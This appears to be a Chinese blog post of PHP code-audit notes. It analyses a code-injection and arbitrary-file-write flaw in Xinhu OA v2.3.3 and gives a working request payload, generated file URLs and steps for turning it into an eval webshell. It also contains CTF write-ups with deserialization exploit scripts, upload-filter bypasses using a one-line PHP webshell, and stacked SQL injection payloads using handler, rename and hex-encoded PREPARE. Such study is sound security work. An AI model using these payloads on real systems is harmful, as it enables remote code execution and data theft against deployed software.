PHP代码审计笔记(持续更新)

信呼oa-v2.3.3源码分析

下载得到源码,用的是phpstudy搭建的

可以看到是2.3.3版本的

连接一下数据库,可以看到默认用户的账户和密码hash

前面的几个密码都是123456的MD5值,最后一个是a111111的MD5值

登录diaochan的账户,进去后要求改默认密码,改成root1,可以在数据库里面看到数据已经变化

审计一下源码:

信呼oa初始化的时候会调用index.php

index.php

根据请求 URL 解析出 MVC 路由参数(模块 m、目录 d、动作 a),并做初始化和安全处理。典型的 PHP 框架入口文件逻辑

<?php 
include_once('config/config.php');
# 引入项目的全局配置文件,只会加载一次,防止重复。
$_uurl 		= $rock->get('rewriteurl');
# 理解为一个封装的 $_GET,$rock是config.php里面定义的核心对象/框架实例
$d 			= '';
$m 			= 'index';
$a 			= 'default';
/*MVC 三个核心参数:
$d	目录(模块分组)
$m	模块(控制器)
$a	动作(方法)

默认值:
模块:index
动作:default

*/
if($_uurl != ''){
    # 如果使用了“伪静态 URL”,也就是传的rewriteurl参数的值是user_login_run这种
	unset($_GET['m']);unset($_GET['d']);unset($_GET['a']);
    # 清除get参数,避免后续解析参数的时候冲突
	$m		= $_uurl;
    # 先把整个字符串当作模块名
	$_uurla = explode('_', $_uurl);
    # 通过 _ 进行切割
	if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];}
    # 如果切割出来有两个部分,就分别赋值给d,m
	if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
    # 如果切割出来有三个部分,就分别赋值给d,m,a
	$_uurla = explode('?',$_SERVER['REQUEST_URI']);
    /** 手动解析url参数,
    例如:/index.php/user_login_run?id=1&name=abc
    $_uurla[0]:/index.php/user_login_run
    $_uurla[1]:id=1&name=abc
    */
	if(isset($_uurla[1])){
		$_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){
			$_uurlasa = explode('=', $_uurlas);
			if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1];
		}
        # 这里会继续拆参数,对拆出来的$_uurla[1],也就是id=1,name=abc这样的
        # 这里会判断传值没有,然后进行$_GET['id'] = 1,$_GET['name'] = 'abc'的处理
	}
}else{
    # 如果是传统模式,也就是index.php?m=user&a=login这样
    /**
    这个gettoken方法在include\chajian\jmChajian.php这里定义的
    做过滤 / 安全处理(防注入),但是也很薄弱
    */
	$m			= $rock->jm->gettoken('m', 'index');
	$d			= $rock->jm->gettoken('d');
	$a			= $rock->jm->gettoken('a', 'default');
}
$ajaxbool	= $rock->jm->gettoken('ajaxbool', 'false');
# 用于区分:普通页面还是AJAX 请求
$mode		= $rock->get('m', $m);
# 这里才确定模块,说明GET参数 m > rewrite解析 m
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');
# 安装
include_once('include/View.php');# 视图文件

其他相关文件就不细说了,直接审计造成漏洞的内容:

代码生成型注入

首先这个OA系统安装后,我们通过默认账密进入,拿到已登录session,因为 copymodeAjax() 不是公开匿名接口,它通常要在已登录后台里调用

这个漏洞点在webmain/main /flow/flowAction.php文件中的copymodeAjax,接收外部用户传入的参数

public function copymodeAjax()
	{
		$id 	= (int)$this->post('id','0');# 原模块ID
		$bhnu 	= strtolower(trim($this->post('name'))); 
    # 新模块ID,这里仅仅做了去空格和小写功能,没做严格过滤
    # 没做相关转义,后续查询数据库时可能造成sql注入等
		if(isempt($bhnu))return '新模块编号不能为空';
		if(is_numeric($bhnu))return '模块编号不能用数字';
		if(strlen($bhnu)<4)return '编号至少要4位';
		if(c('check')->isincn($bhnu))return '编号不能包含中文';
    /**
    1.不能为空
    2.不能纯数字
    3.至少4位
    4.不能有中文
    */
		
		$dbs 	= m('mode');
		if($dbs->rows("`num`='$bhnu'")>0)return '模块编号['.$bhnu.']已存在';
    # 查询数据库,SELECT COUNT(*) FROM mode WHERE num = '$bhnu'
		$mrs 	= $dbs->getone($id);
		if(!$mrs)return '模块不存在';
    # 查原模块
		$ars 	= $mrs;
		$name	= $mrs['name'].'复制'; # 原name+复制
		$biaom	= $bhnu;# 用户输入name
		$obha 	= $mrs['num'];
		unset($ars['id']);
		$ars['name'] = $name; # 原name+复制
		$ars['num']  = $bhnu; # 用户输入name
		$ars['table']= $biaom; # 用户输入name
		$tablea[]	 = $mrs['table']; # 原模块表名
		$tables		 = ''; 
		if(!isempt($ars['tables'])){
			$staba = explode(',', $ars['tables']);
			foreach($staba as $kz=>$zb1){
				$tables.=','.$biaom.'zb'.($kz+1).'';
				if(!in_array($zb1, $tablea))$tablea[]=$zb1;
			}
			$tables = substr($tables, 1);
		}
		$ars['tables'] = $tables;
		$modeid  = $dbs->insert($ars);
		
		//复制表
		foreach($tablea as $kz=>$tabs){
			$sqla 	   = $this->db->getall('show create table `[Q]'.$tabs.'`');
			$createsql = $sqla[0]['Create Table'];
			$biaom1	   = ''.PREFIX.''.$biaom.'';
			if($kz>0)$biaom1	   = ''.PREFIX.''.$biaom.'zb'.$kz.'';
			$createsql = str_replace('`'.PREFIX.''.$tabs.'`','`'.$biaom1.'`',$createsql);
			$this->db->query($createsql);
			$this->db->query('alter table `'.$biaom1.'` AUTO_INCREMENT=1');
		}
		//复制表单元素
		$db1  = m('flow_element');
		$rows = $db1->getall('mid='.$id.'');
		foreach($rows as $k1=>$rs1){
			$rs2 = $rs1;
			unset($rs2['id']);
			$rs2['mid'] = $modeid;
			$db1->insert($rs2);
		}
		//复制相关布局文件
		$hurs = $this->getfiles();
		
		foreach($hurs as $k=>$file){
			$from = str_replace('{bh}',$obha,$file);
			$to   = str_replace('{bh}',$bhnu,$file);
            
			if(file_exists($from)){
				if($k<=1){
					$fstr = file_get_contents($from);
					if($k==0)$fstr = str_replace('flow_'.$obha.'ClassModel','flow_'.$bhnu.'ClassModel',$fstr);
					if($k==1)$fstr = str_replace('mode_'.$obha.'ClassAction','mode_'.$bhnu.'ClassAction',$fstr);
                    /**
            	系统会把旧模块模板里的类名,例如:

				flow_demoClassModel
				mode_demoClassAction
				直接替换成:

				flow_用户输入ClassModel
				mode_用户输入ClassAction
				用户输入被直接塞进 PHP 代码结构里了。
            
            */
					$this->rock->createtxt($to, $fstr);
                    /**
                    新文件会被写到 Web 可访问位置
					它会生成这些文件:
					webmain/model/flow/{bh}Model.php
					webmain/flow/input/mode_{bh}Action.php
					*/
				}else{
					@copy($from, $to);
				}
			}
		}
		
		echo 'ok';
	}

跟进createtxt方法,可以看到没有任何过滤,存在任意文件写入

public function createtxt($path, $txt)
	{
		$this->createdir($path);
		$path	= ''.ROOT_PATH.'/'.$path.'';
		@$file	= fopen($path,'w');
		$bo 	= false;
		if($file){
			$bo = true;
			if($txt)$bo = fwrite($file,$txt);
			fclose($file);
		}
		return $bo;
	}

payload:

GET:http://xinhu/index.php?d=main&m=flow&a=copymode&ajaxbool=true
POST:id=1&name=b{};phpinfo ();class b

查看文件结构:

可以看到成功生成了相关文件,访问会出现phpinfo()的信息

记得URL全编码非字母的参数

http://xinhu/webmain/model/flow/b%7b%7d%3bphpinfo%20%28%29%3bclass%20bModel.php
http://xinhu/webmain/flow/input/mode_b%7b%7d%3bphpinfo%20%28%29%3bclass%20bAction.php

实际环境可能不需要这么全的url编码,可能只需要编码部分特殊字符,看实际环境而定就行

进行shell连接将phpinfo()的命令换成eval (strtoupper(“eval ($_request[1]);”));即可,不要忘记编码,不然webshell可能连接不上

反序列化

AreUSerialz

<?php  
  
include("flag.php");  
  
highlight_file(__FILE__);  
  
class FileHandler {  
  
    protected $op;  
    protected $filename;  
    protected $content;  
  
    function __construct({        $op "1";        $filename "/tmp/tmpfile";        $content "Hello World!";        $this->process();  
    }  
  
    public function process() {  
        if($this->op == "1") {            $this->write();  
        } else if($this->op == "2") {            $res $this->read();            $this->output($res);  
        } else {            $this->output("Bad Hacker!");  
        }  
    }  
  
    private function write() {  
        if(isset($this->filename) && isset($this->content)) {  
            if(strlen((string)$this->content) > 100) {                $this->output("Too long!");  
                die();  
            }            $res file_put_contents($this->filename, $this->content);  
            if($res$this->output("Successful!");  
            else $this->output("Failed!");  
        } else {            $this->output("Failed!");  
        }  
    }  
  
    private function read() {        $res "";  
        if(isset($this->filename)) {            $res file_get_contents($this->filename);  
        }  
        return $res;  
    }  
  
    private function output($s) {  
        echo "[Result]: <br>";  
        echo $s;  
    }  
  
    function __destruct({  
        if($this->op === "2")            $this->op = "1";        $this->content = "";        $this->process();  
    }  
  
}  
  
function is_valid($s{  
    for($i 0$i strlen($s); $i++)  
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  
            return false;  
    return true;  
}  
  
if(isset($_GET{'str'})) {    $str = (string)$_GET['str'];  
    if(is_valid($str)) {        $obj unserialize($str);  
    }  
  
}

一个FileHandler类,一个检测函数,一个反序列化传参点
重点都是触发读函数

private function read() {

        $res = "";

        if(isset($this->filename)) {

            $res = file_get_contents($this->filename);

        }

        return $res;

    }

关键函数file_get_contents,因为有文件包含,这里读取flag.php

审计代码可以看到,在析构函数的逻辑里面如果op=”2”的话,会重置为”1”,也就是说如果不绕过去的话,就走不了读函数分支
审计process()和析构函数:

public function process() {  
        if($this->op == "1") {            $this->write();  
        } else if($this->op == "2") {            $res $this->read();            $this->output($res);  
        } else {            $this->output("Bad Hacker!");  
        }  
    }  
    
    function __destruct({  
        if($this->op === "2")            $this->op = "1";        $this->content = "";        $this->process();  
    }

可以发现在process()里面的op值判断是弱比较,而在析构函数里面是强比较,设置op=2,这里是设置为整数数据类型,如果设置成”2”就不行,所以这里绕过成功

这里要注意的就剩这个检测函数了,他会过滤不可见字符,这里就需要考虑绕过这个限制吗,因为protected属性序列化时是有不可见字符的,这里有两种方法

突破protected访问修饰符限制

<?php

  class FileHandler {

  protected $op = 2;

  protected $filename ='php://filter/read=convert.base64-encode/resource=flag.php';            

//php://filter伪协议

protected $content;

  

}

$baimao=serialize(new FileHandler());

//实例化并序列化类FileHandler

echo $baimao;

//打印结果

?>

打印的结果会有不可见字符,去除修改长度后作为payload即可绕过
原理就是php7.1+版本对属性类型不敏感,虽然不能直接在类外访问保护属性,但是可以通过反序列化方法将对象状态注入进去

突破ord函数限制

<?php

  class FileHandler {

  protected $op = 2;

  protected $filename ='flag.php';        

 //题目中包含flag的文件

 protected $content;

  

}

$bai = urlencode(serialize(new FileHandler));

//URL编码实例化后的类FileHandler序列化结果

$mao =str_replace('%00',"\\00",$bai);    

//str_replace函数查找变量bai里面的数值%00并将其替换为\\00

$mao =str_replace('s','S',$mao); //不够严谨,应该是仅替换类名的s       

//str_replace函数查找变量mao里面的数值s并将其替换为S

echo $mao                                              

//打印结果

?>

要突破这个的限制就是要不可见字符成功绕过
这里将序列化的字符串url编码后得到%00替换成\\00,最后得到的会用\00替换%00
s替换成S是因为S 是 PHP unserialize() 支持的一种特殊字符串格式
它会把里面的 \xx 按十六进制转义还原成真实字节。

文件上传

BabyUpload

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']); 
	  // 文件上传的目录
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
	  // 文件的后缀
    $uploaded_size = $_FILES['uploaded']['size'];
	  // 文件大小
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不能有ph!");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
					// 限制文件大小、文件类型(jpeg和pjpeg)
            $content = file_get_contents($uploaded_tmp);
					// 获取文件的内容
            if(preg_match("/\<\?/i", $content)){
							// 匹配文件内容如果有 <? 就报错
                die("诶,别蒙我啊,这标志明显还是php啊");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型也太露骨了吧!");
        }
    }
}
?>

这是做题后得到的源代码
审计代码可启发一些思路:
1.首先对于文件后缀是由大小写不敏感的ph匹配的,只要后缀里面有ph这俩字母,不管大小写都会过滤,所以要考虑.htaccess文件,因为是Apache中间件
2.然后对于mime类型的匹配,这题可以得到一些启发,多去尝试一些类型,很可能题目就是限定死了只能其中一个类型,比如这题限定死了只能image/jpeg,其他情况可以尝试image/png、image/jpg等情况
3.一句话木马上传的时候,这题是限制了<?,我以为是限制php标签,还是思维不够宽泛,所以参看以下:

<script language='php'>eval($_POST[cmd]);</script>

这个可以绕过这限制,一般做题的时候,还有可能是文件头,可以放个GIF89a试试能不能过,或者是不能有php标签,可以试试短标签

CheckIn

首先学习一个英语单词 suffix,后缀的意思

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

这个题目是nginx的中间件,如果传一个正常的图片上去是有回显文件目录的当前文件夹内文件的,可以看到当前文件夹有个index.php,这个时候用.htaccess文件就不行了,它是能让指定后缀的文件当成php文件执行,.use.ini是让指定文件包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

它这里又过滤了<?,还是用payload:

<script language='php'>eval($_POST[cmd]);</script>

然后蚁剑连接的时候,url就不要填传入的文件,要填此时会执行的文件(如index.php)

SQL注入

# search.php
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name']; 
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

?>

顶部的代码 Base32+base64解码

select * from user where username = '$name'

这个在黑盒的时候可以在源代码看到,信息泄露说明是对用户名进行sql注入

get_magic_quotes_gpc()是去除转义符,兼容老 PHP 的历史写法。

function stripslashes_deep($value)

    {

        $value = is_array($value) ?

        array_map('stripslashes_deep', $value) :

        stripslashes($value);

        return $value;

    }

老版本 PHP 有个机制叫 magic_quotes_gpc,会自动给用户输入加反斜杠
比如用户提交:
name = O'Reilly
PHP 可能自动变成:
O\'Reilly
所以stripslashes_deep(),想把这些自动加上的斜杠再去掉。
array_map('stripslashes_deep', $value)
可以处理嵌套数组,都进行stripslashes_deep
Tip:这段代码不是防御,反而是在帮输入恢复原样

$sql = "select * from user where username = '".$name."'";

这里直接将用户输入进行拼接,没有转义、没有预编译
很明显可以知道单引号闭合

可以看到这里的name处过滤了or,括号,等号

if(preg_match("/\(|\)|\=|or/", $name)){

    die("do not hack me!");

}

但是这个sql语句已经执行了,过滤应该对输入进行过滤后再执行
而且过滤的是小写or,我开始没注意,还是要对/i,/e等进行重点观察

$t_pw = md5($password);

这是个废变量,因为没用到,后续进行比较的md5值是password直接MD5传入的,没有用这个变量

//require "config.php";
<?php
DEFINE('DB_USER','123');
DEFINE('DB_PASSWORD','123');
DEFINE('db_host','127.0.0.1');
DEFINE('DB_NAME','web_sqli');
$con=@mysqli_connect(db_host,DB_USER,DB_PASSWORD,DB_NAME) OR die ('couldnt connect'.mysqli_connect_error());

?>

mysqli_query($con,'SET NAMES UTF8');
相当于在这个数据库连接执行SET NAMES UTF8

$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}

mysqli_fetch_row 是 PHP 的 MySQLi 扩展里的函数,用来执行 SQL
也就是如果按行提取出来的数据如果第二个是admin,第三个等于输入的密码的MD5值就输出flag

Blacklist

也是sql注入,不过是堆叠注入(mysqli_multi_query())
预测代码:

<?php
error_reporting(0);
$con = mysqli_connect("127.0.0.1", "xxx", "xxx", "xxx");

function check($inject){
    return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i", $inject);
}
?>
<html>
<head>
    <meta charset="UTF-8">
    <title>black_list</title>
</head>

<body>
<h1>Black list is so weak for you,isn't it</h1>
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
if (isset($_GET['inject'])) {
    $inject = $_GET['inject'];

    if (check($inject)) {
        die('return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);');
    }

    $sql = "select * from words where id = '$inject'";

    $res = mysqli_multi_query($con, $sql);

    if (!$res) {
        die("error " . mysqli_errno($con) . " : " . mysqli_error($con));
    }

    do {
        if ($result = mysqli_store_result($con)) {
            while ($row = mysqli_fetch_row($result)) {
                var_dump($row);
                echo "<br>";
            }
            mysqli_free_result($result);
        }
        if (mysqli_more_results($con)) {
            echo "<hr>";
        }
    } while (mysqli_next_result($con));
}
?>
</pre>

</body>
</html>

对于输入过滤后的字符后会有回显

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

过滤了select、where等字符,传统联合注入行不通
它没拦:

单引号 '
分号 ;
show
handler
or
and
注释符
反引号
各种函数替代写法

尝试出是单引号闭合,尝试联合注入
以下是用handler进行查询

查库
1';show databases;
查表
1';show tables;
查数据表的字段名
1';show columns from FlagHere;
1';show columns from words;
通过handler命令获取flag
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

尝试得到字段数为2

对于这种堆叠注入的题目还有其他解法:

rename改表结构:

本质原理就是通过堆叠注入改数据库结构,让程序原本那条“查 words”的 SQL 自动变成“查 flag”。

1'; 闭合原来的字符串,并结束原查询
RENAME TABLE words TO BaiMao; 把原来的 words 表先挪走,腾出名字 words
RENAME TABLE `1919810931114514` TO words; 把 flag 表改名成 words
ALTER TABLE words ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY;
给新 words 表(其实就是原 flag 表)补一个 id 列
ALTER TABLE words CHANGE flag data VARCHAR(100); 把列名 flag 改成 data
#

为什么 AUTO_INCREMENT PRIMARY KEY?
因为这样已有记录会获得递增 id。
如果 flag 表里只有一条 flag 记录,它通常会得到 id=1。

编码绕过

把 select * from … 先藏进十六进制字符串里,绕过前端黑名单;再让 MySQL 自己把这段字符串当 SQL 执行。
MySQL 官方文档说明:

  • PREPARE stmt_name FROM preparable_stmt
  • preparable_stmt 可以是字符串字面量,也可以是用户变量
1'; 闭合原来的字符串,并结束原查询
SET @a = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
PREPARE execsql FROM @a;
把变量 @a 里的字符串,当成一条待执行 SQL,起名叫 execsql
EXECUTE execsql;
#

73656c656374202a2066726f6d20603139313938313039333131313435313460
十六进制解码后就是

select * from `1919810931114514`

把那段 16 进制内容存进用户变量 @a

上一篇
下一篇